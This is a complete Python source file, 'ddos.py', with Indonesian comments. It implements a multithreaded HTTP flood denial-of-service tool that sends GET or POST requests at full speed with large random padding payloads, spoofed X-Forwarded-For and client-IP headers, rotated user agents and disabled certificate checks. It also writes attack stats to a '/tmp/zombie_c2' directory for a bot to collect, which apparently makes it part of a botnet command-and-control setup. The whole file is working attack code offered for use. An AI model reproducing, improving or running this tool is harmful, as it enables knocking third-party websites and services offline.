#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ddos.py - PURE HTTP FLOOD
Support GET & POST Only
Support Python2 & Python3
Auto detect port dari URL
NO THREAD BLOCKING - FULL SPEED
+ LARGE PAYLOAD (Configurable)
+ STATS REPORTING
"""
from __future__ import print_function
import socket
import random
import threading
import time
import sys
import os
import signal
import string
import json

try:
    from urllib.parse import urlparse, quote
except ImportError:
    from urlparse import urlparse
    from urllib import quote

# ============================================
# CONFIGURATION - UBAH DI SINI
# ============================================

PAYLOAD_SIZE_KB = 128
ENABLE_LARGE_PAYLOAD = True
MAX_PAYLOAD_SIZE_KB = 1024
STATS_FILE = '/tmp/zombie_c2/stats.json'

# ============================================
# SIGNAL HANDLER
# ============================================

def signal_handler(sig, frame):
    print("\n[!] Stopped")
    sys.exit(0)

try:
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)
except:
    pass

# ============================================
# HTTP FLOOD - Pure Socket - FULL SPEED
# ============================================

class HTTPFlood:
    def __init__(self, target, duration, threads, method='GET'):
        self.target = target
        self.duration = int(duration)
        self.threads = int(threads)
        self.method = method.upper()
        self.running = True
        self.packets = 0
        self.bytes_sent = 0
        self.errors = 0
        self.last_error = ""
        self.error_types = {}
        self.lock = threading.Lock()

        # Payload config
        self.payload_size_kb = PAYLOAD_SIZE_KB
        self.enable_large_payload = ENABLE_LARGE_PAYLOAD
        if self.payload_size_kb > MAX_PAYLOAD_SIZE_KB:
            self.payload_size_kb = MAX_PAYLOAD_SIZE_KB

        parsed = urlparse(target)
        self.domain = parsed.hostname

        if parsed.port:
            self.port = parsed.port
        elif parsed.scheme == 'https':
            self.port = 443
        else:
            self.port = 80

        self.path = parsed.path or '/'
        self.is_https = parsed.scheme == 'https'

        try:
            self.ip = socket.gethostbyname(self.domain)
        except:
            self.ip = self.domain

        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/120.0.0.0',
            'Mozilla/5.0 (X11; Linux x86_64) Chrome/120.0.0.0',
            'Mozilla/5.0 (Windows NT 10.0; rv:109.0) Firefox/121.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/17.1',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/119.0.0.0',
            'Mozilla/5.0 (X11; Linux x86_64) Firefox/121.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/118.0.0.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/118.0.0.0'
        ]

        self.large_payload = self._generate_large_payload()

        print("[+] TARGET: {}:{}".format(self.domain, self.port))
        print("[+] HTTPS: {}".format(self.is_https))
        print("[+] METHOD: {}".format(self.method))
        print("[+] PATH: {}".format(self.path))
        print("[+] THREADS: {}".format(self.threads))
        print("[+] DURATION: {}s".format(self.duration))
        if self.enable_large_payload:
            print("[+] PAYLOAD: {} KB per request".format(self.payload_size_kb))
        else:
            print("[+] PAYLOAD: Normal (no large payload)")

    def _generate_large_payload(self):
        if not self.enable_large_payload:
            return ""
        target_bytes = self.payload_size_kb * 1024
        chars = string.ascii_letters + string.digits + '-_.~'
        payload_parts = []
        current_size = 0
        base_params = "data={}&id={}&action={}&timestamp={}".format(
            random.randint(1, 999999),
            random.randint(1, 9999),
            random.choice(['login', 'submit', 'update', 'delete', 'create']),
            int(time.time())
        )
        payload_parts.append(base_params)
        current_size += len(base_params)
        while current_size < target_bytes - 100:
            key_len = random.randint(3, 10)
            val_len = random.randint(10, 100)
            key = ''.join(random.choice(string.ascii_lowercase) for _ in range(key_len))
            val = ''.join(random.choice(chars) for _ in range(val_len))
            pair = "&{}_{}={}".format(key, random.randint(1, 9999), val)
            if current_size + len(pair) > target_bytes - 10:
                remaining = target_bytes - current_size - 2
                if remaining > 0:
                    pair = "&x=" + ''.join(random.choice(chars) for _ in range(remaining))
                    payload_parts.append(pair)
                    break
            else:
                payload_parts.append(pair)
                current_size += len(pair)
        return ''.join(payload_parts)

    def _generate_large_payload_fresh(self):
        if not self.enable_large_payload:
            return ""
        target_bytes = self.payload_size_kb * 1024
        chars = string.ascii_letters + string.digits + '-_.~'
        parts = [
            "data={}".format(random.randint(1, 999999)),
            "id={}".format(random.randint(1, 9999)),
            "action={}".format(random.choice(['login', 'submit', 'update', 'delete', 'create'])),
            "timestamp={}".format(int(time.time())),
            "rand={}".format(random.randint(1, 999999999))
        ]
        current_size = sum(len(p) + 1 for p in parts)
        while current_size < target_bytes:
            remaining = target_bytes - current_size
            if remaining <= 20:
                parts.append(''.join(random.choice(chars) for _ in range(max(0, remaining - 2))))
                break
            chunk_size = random.randint(50, 500)
            if chunk_size > remaining - 5:
                chunk_size = remaining - 5
            key = ''.join(random.choice(string.ascii_lowercase) for _ in range(random.randint(3, 8)))
            val = ''.join(random.choice(chars) for _ in range(chunk_size))
            parts.append("{}={}".format(key, val))
            current_size += len(parts[-1]) + 1
        return '&'.join(parts)

    def create_ssl_context(self):
        try:
            import ssl
            try:
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                context.set_ciphers('DEFAULT@SECLEVEL=1')
                return context
            except:
                pass
            try:
                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                return context
            except:
                pass
            try:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                return context
            except:
                pass
            return None
        except:
            return None

    def build_request(self):
        path = self.path + "?_t={}&r={}&v={}&s={}".format(
            int(time.time()*1000),
            random.randint(1,999999),
            random.randint(1,99999),
            random.randint(1,9999)
        )
        accept_encodings = ['gzip, deflate, br', 'gzip, deflate', 'gzip', 'identity']
        accept_languages = ['en-US,en;q=0.9', 'en-GB,en;q=0.8', 'id-ID,id;q=0.9', 'fr-FR,fr;q=0.8']
        connection_types = ['keep-alive', 'close']

        if self.method == 'GET':
            if self.enable_large_payload:
                large_data = self._generate_large_payload_fresh()
                large_data_encoded = quote(large_data[:self.payload_size_kb * 1024], safe='')
                path = path + "&d=" + large_data_encoded
            req = "GET {} HTTP/1.1\r\n".format(path)
        else:
            if self.enable_large_payload:
                body = self._generate_large_payload_fresh()
                target_size = self.payload_size_kb * 1024
                if len(body) < target_size:
                    padding = ''.join(random.choice(string.ascii_letters + string.digits)
                                    for _ in range(target_size - len(body)))
                    body += "&pad=" + padding
                elif len(body) > target_size:
                    body = body[:target_size]
            else:
                body = "data={}&id={}&action={}&timestamp={}".format(
                    random.randint(1,999999),
                    random.randint(1,9999),
                    random.choice(['login', 'submit', 'update', 'delete', 'create']),
                    int(time.time())
                )
            req = "POST {} HTTP/1.1\r\n".format(path)
            req += "Content-Type: application/x-www-form-urlencoded\r\n"
            req += "Content-Length: {}\r\n".format(len(body))

        req += "Host: {}\r\n".format(self.domain)
        req += "User-Agent: {}\r\n".format(random.choice(self.user_agents))
        req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
        req += "Accept-Encoding: {}\r\n".format(random.choice(accept_encodings))
        req += "Accept-Language: {}\r\n".format(random.choice(accept_languages))
        req += "Connection: {}\r\n".format(random.choice(connection_types))
        req += "Cache-Control: no-cache, no-store, must-revalidate\r\n"
        req += "Pragma: no-cache\r\n"
        req += "Expires: 0\r\n"

        ip1 = random.randint(1,255)
        ip2 = random.randint(1,255)
        ip3 = random.randint(1,255)
        ip4 = random.randint(1,255)
        req += "X-Forwarded-For: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)
        req += "X-Real-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)
        req += "Client-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)
        req += "X-Client-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)

        if random.random() > 0.5:
            req += "X-Request-ID: {}\r\n".format(random.randint(100000, 999999))
        if random.random() > 0.7:
            req += "DNT: {}\r\n".format(random.choice(['0', '1']))
        if random.random() > 0.8:
            req += "Upgrade-Insecure-Requests: 1\r\n"

        req += "\r\n"

        if self.method == 'POST':
            req += body

        return req

    def http_request(self):
        sock = None
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 65536)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 65536)
            sock.settimeout(15.0)

            try:
                sock.connect((self.ip, self.port))
            except socket.error as e:
                with self.lock:
                    self.errors += 1
                    self.last_error = "Connect: {}".format(str(e)[:50])
                if sock:
                    sock.close()
                return

            if self.is_https:
                try:
                    import ssl
                    context = self.create_ssl_context()
                    if context:
                        sock = context.wrap_socket(sock, server_hostname=self.domain)
                    else:
                        with self.lock:
                            self.errors += 1
                            self.last_error = "SSL Context Failed"
                        sock.close()
                        return
                except Exception as e:
                    with self.lock:
                        self.errors += 1
                        self.last_error = "SSL: {}".format(str(e)[:50])
                    sock.close()
                    return

            req = self.build_request()
            if isinstance(req, str):
                try:
                    req = req.encode('utf-8')
                except:
                    pass

            try:
                total_sent = 0
                chunk_size = 65536
                req_len = len(req)

                while total_sent < req_len:
                    chunk = req[total_sent:total_sent + chunk_size]
                    sent = sock.send(chunk)
                    if sent == 0:
                        with self.lock:
                            self.errors += 1
                            self.last_error = "Send failed"
                        sock.close()
                        return
                    total_sent += sent
            except socket.error as e:
                with self.lock:
                    self.errors += 1
                    self.last_error = "Send: {}".format(str(e)[:50])
                sock.close()
                return

            sock.settimeout(3.0)
            try:
                response = sock.recv(4096)
                with self.lock:
                    self.packets += 1
                    self.bytes_sent += len(req)
            except socket.timeout:
                with self.lock:
                    self.packets += 1
                    self.bytes_sent += len(req)
            except:
                with self.lock:
                    self.packets += 1
                    self.bytes_sent += len(req)

            sock.close()

        except Exception as e:
            with self.lock:
                self.errors += 1
                self.last_error = str(e)[:50]
            if sock:
                try:
                    sock.close()
                except:
                    pass

    def worker(self):
        while self.running:
            self.http_request()

    def save_stats(self):
        """Simpan stats ke file JSON untuk diambil bot"""
        try:
            stats = {
                'packets': self.packets,
                'bytes_sent': self.bytes_sent,
                'errors': self.errors,
                'method': self.method,
                'threads': self.threads,
                'duration': self.duration,
                'target': self.target,
                'domain': self.domain,
                'port': self.port,
                'payload_kb': self.payload_size_kb,
                'success_rate': (self.packets / (self.packets + self.errors) * 100) if (self.packets + self.errors) > 0 else 0,
                'timestamp': time.time(),
                'completed_at': time.strftime('%Y-%m-%d %H:%M:%S')
            }
            stats_dir = os.path.dirname(STATS_FILE)
            if stats_dir and not os.path.isdir(stats_dir):
                try:
                    os.makedirs(stats_dir)
                except:
                    pass
            with open(STATS_FILE, 'w') as f:
                json.dump(stats, f)
        except Exception as e:
            pass

    def run(self):
        print("\n[+] Starting HTTP FLOOD...")
        print("[+] Method: {}".format(self.method))
        print("[+] Mode: FULL SPEED (no delay)")
        if self.enable_large_payload:
            print("[+] Payload: {} KB per request".format(self.payload_size_kb))
        print("-" * 40)

        threads = []
        for i in range(self.threads):
            t = threading.Thread(target=self.worker)
            t.daemon = True
            t.start()
            threads.append(t)

        start = time.time()

        while self.running and (time.time() - start) < self.duration:
            time.sleep(0.5)
            elapsed = time.time() - start
            with self.lock:
                mb = self.bytes_sent / 1024 / 1024
                gb = mb / 1024
                rps = self.packets / elapsed if elapsed > 0 else 0

                if gb >= 1:
                    data_str = "{:.2f} GB".format(gb)
                else:
                    data_str = "{:.1f} MB".format(mb)

                status = "\r[*] Requests: {} | Data: {} | RPS: {:.0f} | Err: {}".format(
                    self.packets, data_str, rps, self.errors)

                if self.errors > 0 and self.last_error:
                    status += " | Last: {}".format(self.last_error[:25])

            sys.stdout.write(status)
            sys.stdout.flush()

        self.running = False

        for t in threads:
            try:
                t.join(timeout=0.5)
            except:
                pass

        with self.lock:
            total = self.packets + self.errors
            success_rate = (self.packets / total * 100) if total > 0 else 0

            print("\n[+] ========================================")
            print("[+] HTTP FLOOD COMPLETE!")
            print("[+] Method: {}".format(self.method))
            print("[+] Total Requests: {}".format(self.packets))
            print("[+] Total Data: {:.1f} MB".format(self.bytes_sent / 1024 / 1024))
            print("[+] Avg RPS: {:.0f}".format(self.packets / self.duration if self.duration > 0 else 0))
            print("[+] Errors: {}".format(self.errors))
            print("[+] Success Rate: {:.1f}%".format(success_rate))
            if self.enable_large_payload:
                print("[+] Payload Size: {} KB".format(self.payload_size_kb))
            if self.last_error:
                print("[+] Last Error: {}".format(self.last_error))
            print("[+] ========================================")

        self.save_stats()

        try:
            os.remove('/tmp/zombie_c2/attack.pid')
        except:
            pass

# ============================================
# MAIN
# ============================================

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: python ddos.py <target> <duration> <threads> <method>")
        print("Example: python ddos.py https://example.com/path/ 60 30 GET")
        print("Methods: GET, POST")
        sys.exit(1)

    target = sys.argv[1]
    duration = int(sys.argv[2])
    threads = int(sys.argv[3]) if len(sys.argv) > 3 else 30
    method = sys.argv[4].upper() if len(sys.argv) > 4 else 'GET'

    if method not in ['GET', 'POST']:
        method = 'GET'
        print("[!] Invalid method, using GET")

    if threads > 80:
        threads = 80
        print("[!] Threads limited to 80 (system limit)")

    print("="*60)
    print("[+] PURE HTTP FLOOD - FULL SPEED + LARGE PAYLOAD")
    print("="*60)
    print("[+] Target: {}".format(target))
    print("[+] Duration: {}s".format(duration))
    print("[+] Threads: {}".format(threads))
    print("[+] Method: {}".format(method))
    print("[+] Port: Auto Detect")
    print("[+] Mode: NO DELAY (max speed)")
    if ENABLE_LARGE_PAYLOAD:
        print("[+] Payload: {} KB per request".format(PAYLOAD_SIZE_KB))
    else:
        print("[+] Payload: Normal")
    print("="*60)

    http = HTTPFlood(target, duration, threads, method)
    http.run()